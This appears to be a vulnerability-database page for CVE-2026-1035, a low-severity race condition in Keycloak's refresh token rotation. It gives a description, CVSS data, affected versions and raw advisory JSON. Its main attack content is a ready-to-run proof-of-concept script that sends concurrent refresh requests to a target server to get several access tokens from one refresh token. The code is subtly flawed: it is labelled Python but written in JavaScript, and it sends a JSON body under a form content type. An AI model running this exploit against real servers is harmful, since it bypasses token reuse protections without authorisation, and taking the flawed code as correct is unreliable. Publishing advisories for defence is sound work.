Security Vulnerability Report
中文
CVE-2026-1035 CVSS 3.1 LOW

CVE-2026-1035

Published: 2026-01-21 06:15:47
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the Keycloak server during refresh token processing, specifically in the TokenManager class responsible for enforcing refresh token reuse policies. When strict refresh token rotation is enabled, the validation and update of refresh token usage are not performed atomically. This allows concurrent refresh requests to bypass single-use enforcement and issue multiple access tokens from the same refresh token. As a result, Keycloak’s refresh token rotation hardening can be undermined.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak < 24.0.5
Keycloak < 23.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-1035 PoC - Race Condition in Keycloak Refresh Token // This PoC demonstrates concurrent refresh token requests const http = require('http'); const config = { keycloakUrl: 'http://target-keycloak:8080', realm: 'test-realm', clientId: 'test-client', username: 'testuser', password: 'testpassword' }; async function getInitialTokens() { const data = JSON.stringify({ grant_type: 'password', client_id: config.clientId, username: config.username, password: config.password }); const options = { hostname: new URL(config.keycloakUrl).hostname, port: 8080, path: `/realms/${config.realm}/protocol/openid-connect/token`, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(data) } }; return new Promise((resolve, reject) => { const req = http.request(options, (res) => { let body = ''; res.on('data', chunk => body += chunk); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { reject(e); } }); }); req.write(data); req.end(); }); } async function refreshToken(token) { const data = `grant_type=refresh_token&refresh_token=${token}&client_id=${config.clientId}`; const options = { hostname: new URL(config.keycloakUrl).hostname, port: 8080, path: `/realms/${config.realm}/protocol/openid-connect/token`, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(data) } }; return new Promise((resolve, reject) => { const req = http.request(options, (res) => { let body = ''; res.on('data', chunk => body += chunk); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { resolve({ error: e.message }); } }); }); req.on('error', reject); req.write(data); req.end(); }); } async function exploit() { console.log('[+] Step 1: Obtaining initial tokens...'); const initialTokens = await getInitialTokens(); const refreshTokenValue = initialTokens.refresh_token; console.log('[+] Got refresh token:', refreshTokenValue.substring(0, 20) + '...'); console.log('[+] Step 2: Sending concurrent refresh requests (Race Condition)...'); const concurrentRequests = 5; const promises = []; for (let i = 0; i < concurrentRequests; i++) { promises.push(refreshToken(refreshTokenValue)); } const results = await Promise.allSettled(promises); console.log('\n[+] Results:'); let successCount = 0; results.forEach((result, index) => { if (result.status === 'fulfilled' && result.value.access_token) { successCount++; console.log(` Request ${index + 1}: SUCCESS - Got access_token`); } else if (result.status === 'fulfilled' && result.value.error) { console.log(` Request ${index + 1}: FAILED - ${result.value.error_description || result.value.error}`); } else { console.log(` Request ${index + 1}: ERROR`); } }); if (successCount > 1) { console.log(`\n[!] VULNERABLE: ${successCount} tokens obtained from single refresh token!`); console.log('[!] Race condition confirmed - refresh token reuse policy bypassed'); } else { console.log('\n[+] NOT VULNERABLE: Only one token obtained (expected behavior)'); } } exploit().catch(console.error);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1035", "sourceIdentifier": "[email protected]", "published": "2026-01-21T06:15:46.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the Keycloak server during refresh token processing, specifically in the TokenManager class responsible for enforcing refresh token reuse policies. When strict refresh token rotation is enabled, the validation and update of refresh token usage are not performed atomically. This allows concurrent refresh requests to bypass single-use enforcement and issue multiple access tokens from the same refresh token. As a result, Keycloak’s refresh token rotation hardening can be undermined."}, {"lang": "es", "value": "Se encontró una falla en el servidor Keycloak durante el procesamiento de tokens de actualización, específicamente en la clase TokenManager responsable de aplicar las políticas de reutilización de tokens de actualización. Cuando la rotación estricta de tokens de actualización está habilitada, la validación y actualización del uso del token de actualización no se realizan de forma atómica. Esto permite que las solicitudes de actualización concurrentes eludan la aplicación del uso único y emitan múltiples tokens de acceso desde el mismo token de actualización. Como resultado, el endurecimiento de la rotación de tokens de actualización de Keycloak puede verse socavado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-1035", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430314", "source": "[email protected]"}]}}